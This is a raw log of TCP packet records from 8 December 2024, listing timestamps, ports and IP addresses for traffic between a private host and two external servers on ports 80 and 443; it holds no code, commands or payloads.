Dec 8, 2024 15:38:45.802094936 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.802131891 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.802166939 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.802200079 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.803020000 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.803059101 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.803198099 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.803246975 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.804136992 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.804181099 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.804285049 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.804322004 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.805294991 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.805330992 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.805398941 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.805432081 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.806453943 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.806502104 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.806535006 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.806571960 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.807586908 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.807643890 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.807693958 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.807727098 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.808741093 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.808780909 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.808845997 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.808881044 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.809819937 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.809854984 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.830255032 CET	443	49805	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.830332041 CET	443	49805	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.830394983 CET	49805	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.831078053 CET	49805	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.831093073 CET	443	49805	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.831104040 CET	49805	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.831110001 CET	443	49805	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.833756924 CET	49810	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.833792925 CET	443	49810	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.833851099 CET	49810	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.834022999 CET	49810	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.834037066 CET	443	49810	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.848232985 CET	443	49808	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.848301888 CET	443	49808	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.848365068 CET	49808	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.849495888 CET	443	49807	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.849553108 CET	443	49807	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.849597931 CET	49807	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.849673033 CET	49808	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.849685907 CET	443	49808	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.849694967 CET	49808	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.849699974 CET	443	49808	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.849859953 CET	49807	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.849873066 CET	443	49807	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.849881887 CET	49807	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.849886894 CET	443	49807	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.849968910 CET	443	49809	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.850030899 CET	443	49809	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.850076914 CET	49809	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.850138903 CET	49809	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.850155115 CET	443	49809	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.850166082 CET	49809	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.850171089 CET	443	49809	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.854374886 CET	443	49806	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.854440928 CET	443	49806	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.854496002 CET	49806	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.854953051 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.855021954 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.855082035 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.855118036 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.855748892 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.855768919 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.855798960 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.856775045 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.856812954 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.856812954 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.856858969 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.856895924 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.857825994 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.857867956 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.857999086 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.858037949 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.858963013 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.859008074 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.859083891 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.859122992 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.860127926 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.860168934 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.860240936 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.860276937 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.861284971 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.861330986 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.861362934 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.861399889 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.862389088 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.862422943 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.862503052 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.862539053 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.863533974 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.863574982 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.863656998 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.863692999 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.864650011 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.864687920 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.864869118 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.864905119 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.865777969 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.865816116 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.865969896 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.866008043 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.866925955 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.866949081 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.866966009 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.866978884 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.868053913 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.868094921 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.868138075 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.868175030 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.869194031 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.869232893 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.869307995 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.869345903 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.870356083 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.870388985 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.870508909 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.870546103 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.871484041 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.871531963 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.871608019 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.871646881 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.872638941 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.872682095 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.872742891 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.872778893 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.873811960 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.873857021 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.873893023 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.873934984 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.874880075 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.874931097 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.875010014 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.875046968 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.876048088 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.876101971 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.876127958 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.876157045 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.877161026 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.877207041 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.877245903 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.877281904 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.878285885 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.878345013 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.878398895 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.878437042 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.879498959 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.879544020 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.879617929 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.879657030 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.880650997 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.880700111 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.880763054 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.880803108 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.881730080 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.881776094 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.881819963 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.881858110 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.882863998 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.882910013 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.882957935 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.882993937 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.883970976 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.884017944 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.884089947 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.884126902 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.885180950 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.885237932 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.885315895 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.885353088 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.886310101 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.886353970 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.886415958 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.886451960 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.887461901 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.887516022 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.887553930 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.887593985 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.893081903 CET	49806	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.893116951 CET	443	49806	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.893131018 CET	49806	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.893138885 CET	443	49806	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.920595884 CET	49811	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.920629025 CET	443	49811	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.920696974 CET	49811	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.923456907 CET	49812	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.923513889 CET	443	49812	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.923571110 CET	49812	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.923975945 CET	49811	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.923989058 CET	443	49811	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.928289890 CET	49813	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.928313971 CET	443	49813	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.928384066 CET	49813	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.928494930 CET	49813	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.928508043 CET	443	49813	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.928610086 CET	49812	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.928636074 CET	443	49812	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.934577942 CET	49814	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.934606075 CET	443	49814	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.934662104 CET	49814	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.934803963 CET	49814	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:45.934820890 CET	443	49814	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:45.976521969 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.976617098 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.976633072 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.976674080 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.976861954 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.976910114 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.976929903 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.976973057 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.978009939 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.978053093 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.978300095 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.978343964 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.979145050 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.979190111 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.979332924 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.979377985 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.980290890 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.980336905 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.980396986 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.980443954 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.981412888 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.981467009 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.981545925 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.981586933 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.982640028 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.982685089 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.982722998 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.982764006 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.983701944 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.983753920 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.983875036 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.983916998 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.984877110 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.984909058 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.984925032 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.984937906 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.985960007 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.986005068 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.986057043 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.986103058 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.987376928 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.987422943 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.987517118 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.987564087 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.988297939 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.988339901 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.988410950 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.988456011 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.989381075 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.989454031 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.989485979 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.989523888 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.990510941 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.990555048 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.990623951 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.990660906 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.991647959 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.991693020 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.991767883 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.991823912 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.992845058 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.992887020 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.992954969 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.992995024 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.993926048 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.993968010 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.994046926 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.994087934 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.995065928 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.995107889 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.995176077 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.995215893 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.996243954 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.996289015 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.996357918 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.996393919 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.997342110 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.997390032 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.997473001 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.997509956 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.998550892 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.998589993 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.998630047 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.998667002 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.999622107 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.999672890 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:45.999732971 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:45.999769926 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.000823975 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.000866890 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.001023054 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.001094103 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.001899958 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.001945019 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.001972914 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.002007961 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.047060013 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.047096014 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.047146082 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.047161102 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.047549963 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.047605991 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.047676086 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.047723055 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.048435926 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.048499107 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.048624992 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.048671007 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.049550056 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.049597979 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.049668074 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.049707890 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.050740957 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.050786018 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.050823927 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.050899982 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.051856995 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.051903009 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.052026033 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.052064896 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.053163052 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.053177118 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.053214073 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.054136038 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.054183006 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.054289103 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.054333925 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.055248976 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.055304050 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.055375099 CET	80	49787	185.215.113.206	192.168.2.6
